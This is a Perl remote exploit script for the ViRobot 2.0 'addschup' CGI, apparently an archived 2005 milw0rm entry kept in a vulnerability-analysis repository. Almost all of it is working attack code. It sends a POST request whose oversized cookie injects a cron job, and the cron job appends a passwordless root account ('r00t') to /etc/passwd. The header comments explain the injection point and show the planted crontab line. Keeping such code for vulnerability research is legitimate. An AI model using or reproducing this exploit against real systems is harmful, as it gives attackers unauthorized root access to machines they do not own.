lilbool/vuln-code-analysis

1#!/usr/bin/perl

2# ViRobot 2.0 remote cookie exploit - ala addschup

3# copyright Kevin Finisterre kf_lists[at]digitalmunition[dot]com

4#

5# jdam:/home/kfinisterre# ls -al /var/spool/cron/root

6# ls: /var/spool/cron/root: No such file or directory

7# jdam:/home/kfinisterre# ls -al /var/spool/cron/root

8# -rw-r--r--  1 root staff 104 2005-01-23 14:43 /var/spool/cron/root

9#

10# We control the 6th paramater passed to an fprintf call.

11#

12# 0x804a740 <_IO_stdin_used+572>:  "%s %s %s %s %s %s/%s/vrupdate -s > /dev/null 2>&1\n"

13#

14# * * * * * /bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &/ViRobot/vrupdate -s > /dev/null 2>&1

15

16

17use IO::Socket;

18$hostName = $ARGV[0];

19

20$sock = IO::Socket::INET->new (

21               Proto => "tcp",

22               PeerAddr => $hostName,

23               PeerPort => 8080,

24               Type => SOCK_STREAM

25);

26

27if (! $sock)

28{

29       print "[*] Error, could not connect to the remote host: $!\n";

30       exit (0);

31}

32

33$target = "/cgi-bin/addschup";

34$crondata = "/bin/echo r00t::0:0:root:/root:/bin/bash >> /etc/passwd &";

35$postbody = "POST $target HTTP/1.1\n" .

36"Host: localhost:8080\n" .

37"User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20041007 Debian/1.7.3-5\n" .

38"Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n" .

39"Accept-Encoding: gzip,deflate\n" .

40"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n" .

41"Keep-Alive: 300\n" .

42"Connection: keep-alive\n" .

43"Content-type: application/x-www-form-urlencoded\n" .

44"Content-length: 1\n" .

45"Cookie: ViRobot_ID=" . "A" x 32 . "$crondata\n";

46

47print $sock $postbody;

48close ($sock);

49exit (0);

50

51# milw0rm.com [2005-06-14]